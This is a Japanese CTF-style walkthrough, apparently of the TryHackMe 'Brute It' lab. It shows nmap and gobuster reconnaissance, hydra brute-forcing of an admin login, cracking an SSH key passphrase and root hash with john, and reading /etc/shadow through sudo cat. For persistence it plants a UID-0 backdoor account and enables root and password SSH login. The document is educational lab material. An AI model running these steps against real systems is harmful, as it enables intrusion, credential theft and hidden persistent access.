サーバー侵入の流れ
1. 情報収集・調査
nmapを使ってどこのポートが開いているのかを確認する
nmap -Pn -sC -sV -oN nmap.txt <IPアドレス>
Nmap scan report for <IPアドレス>
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
| 256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_ 256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.59 seconds
私のブログサイトをスキャンしてみた
nmap -Pn -sC -sV -oN nmap.txt sdi-blog.com
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 20:27 +0900
Nmap scan report for sdi-blog.com (13.249.146.16)
Host is up (0.020s latency).
Other addresses for sdi-blog.com (not scanned): 13.249.146.117 13.249.146.101 13.249.146.47
rDNS record for 13.249.146.16: server-13-249-146-16.kix56.r.cloudfront.net
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp?
80/tcp open http Amazon CloudFront httpd
|_http-server-header: CloudFront
|_http-title: Did not follow redirect to https://sdi-blog.com/
443/tcp open ssl/http Amazon CloudFront httpd
| ssl-cert: Subject: commonName=sdi-blog.com
| Subject Alternative Name: DNS:sdi-blog.com
| Not valid before: 2026-02-11T00:00:00
|_Not valid after: 2027-03-12T23:59:59
| http-server-header:
| AmazonS3
|_ CloudFront
|_http-title: SDI Blog - The Blog of SDI
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 264.15 seconds
gobusterを使って隠しディレクトリがないかを探す
kali linux内でのcommon.txtの探し方
$ find / -name common.txt 2> /dev/null
/etc/theHarvester/wordlists/general/common.txt
/usr/share/wfuzz/wordlist/general/common.txt
/usr/share/dirb/wordlists/common.txt
/usr/share/fern-wifi-cracker/extras/wordlists/common.txt
# gobusterを使う
gobuster dir -u http://MACHINE_IP -w /usr/share/dirb/wordlists/common.txt
gobuster dir -u MACHINE_IP -w /usr/share/dirb/wordlists/common.txt
# スキャン結果
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.160.145
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 278]
.htaccess (Status: 403) [Size: 278]
.htpasswd (Status: 403) [Size: 278]
admin (Status: 301) [Size: 314] [--> http://10.48.160.145/admin/]
index.html (Status: 200) [Size: 10918]
server-status (Status: 403) [Size: 278]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
2. 脆弱性の発見
コードを確認したり、
3. 脆弱性攻撃
攻撃に使用するパスワードを用意(kali linuxで用意されているものを使用)
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
less /usr/share/wordlists/rockyou.txthydraを使って辞書型攻撃をする
hydra -l admin -P /usr/share/wordlists/rockyou.txt IPアドレス http-post-form "/admin/:user=^USER^&pass=^PASS^:Username or password invalid"
# 実行結果
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-04 21:17:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.48.160.145:80/admin/:user=^USER^&pass=^PASS^:Username or password invalid
[80][http-post-form] host: 10.48.160.145 login: admin password: xavier
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-04 21:18:05
ファイルを保存する
wget http://10.48.160.145/admin/panel/id_rsasshポートが開いていることは確認済みなのでssh接続する
ssh -i id_rsa user名@ipアドレス
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.160.145' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa':
パスワードが求められるが、わからないのでjohn the ripperでパスワードを解析する。
ssh2john id_rsa > rsahash.txt
john rsahash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 実行結果
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockinroll (id_rsa)
1g 0:00:00:00 DONE (2026-10-04 21:44) 25.00g/s 1815Kp/s 1815Kc/s 1815KC/s saloni..rock14
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
再度SSH接続をして、先ほど解析して入手したパスワードを入力
└─$ ssh -i id_rsa john@10.48.160.145
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Oct 4 12:47:09 UTC 2026
System load: 0.21 Processes: 109
Usage of /: 25.7% of 19.56GB Users logged in: 0
Memory usage: 47% IP address for ens5: 10.48.160.145
Swap usage: 0%
63 packages can be updated.
0 updates are security updates.
Last login: Sun Oct 4 12:46:45 2026 from 192.168.177.105
john@bruteit:~$
4. 権限昇格
john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on bruteit:
(root) NOPASSWD: /bin/cat
mail_badpass はパスワードを間違えた場合に管理者に通知する設定です。
# 下記はjohnがどのコマンドを管理者権限で実行できるかを確認できる
User john may run the following commands on bruteit:
(root) NOPASSWD: /bin/catjohn@bruteit:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
thm:x:1000:1000:THM Room:/home/thm:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
john:x:1001:1001:john,,,:/home/john:/bin/bash
/etc/shadowでユーザーとパスワードの一覧を確認することができる。
ユーザーと後ろはパスワードのハッシュ値
sudo cat /etc/shadow
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
thm:$6$hAlc6HXuBJHNjKzc$NPo/0/iuwh3.86PgaO97jTJJ/hmb0nPj8S/V6lZDsjUeszxFVZvuHsfcirm4zZ11IUqcoB9IEWYiCV.wcuzIZ.:18489:0:99999:7:::
sshd:*:18489:0:99999:7:::
john:$6$iODd0YaH$BA2G28eil/ZUZAV5uNaiNPE0Pa6XHWUFp7uNTp2mooxwa4UzhfC0kjpzPimy1slPNm9r/9soRw8KqrSgfDPfI0:18490:0:99999:7:::
rootユーザーのパスワードを解析する
# passhash.txtにパスワードを保存
echo '$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.' > passhash.txt
# johnを使って解析
john passhash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 実行結果
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football (?)
1g 0:00:00:00 DONE (2026-10-04 22:09) 50.00g/s 12800p/s 12800c/s 12800C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
# 実行結果からrootのパスワードがfootballであることが分かった。
# 現在の権限を確認
john@bruteit:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)
#
john@bruteit:~$ su root
Password:
root@bruteit:/home/john#
# 権限がrootになっていることを確認
root@bruteit:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
# この後にハッカーはいろいろ悪いことしたりする。5. 持続的な接続
# パスワードのハッシュ化
openssl passwd -6 -salt xyz passw0rd
# passwordファイルに追加する
cat /etc/passwd | grep root
nano /etc/passwd
# 一番下に追加
backdoor:x:0:0:root:/root:/bin/bash
# shadowファイル編集
cat /etc/shadow | grep root
backdoor:$6$xyz$SIYTChjHYwV3CrOTDEEEcimqJlDaSnT7BTCoAUuKA2A..FyRyvfzlG6Vs2msBfyBazZfKTq95X7ie.LeGKRAE/:18490:0:99999:7:::
nano /etc/shadow
tail -n 1 /etc/shadow
# sshd_configファイル編集
sudo nano -c /etc/ssh/sshd_config
３２行目のコメントアウトをはずし、yesにします
PermitRootLogin yes
56行目のコメントアウトをはずし、yesにします
PasswordAuthentication yes
変更を反映
sudo systemctl restart ssh
ssh backdoor@ipアドレス
passw0rd6. 痕跡の削除
coming soom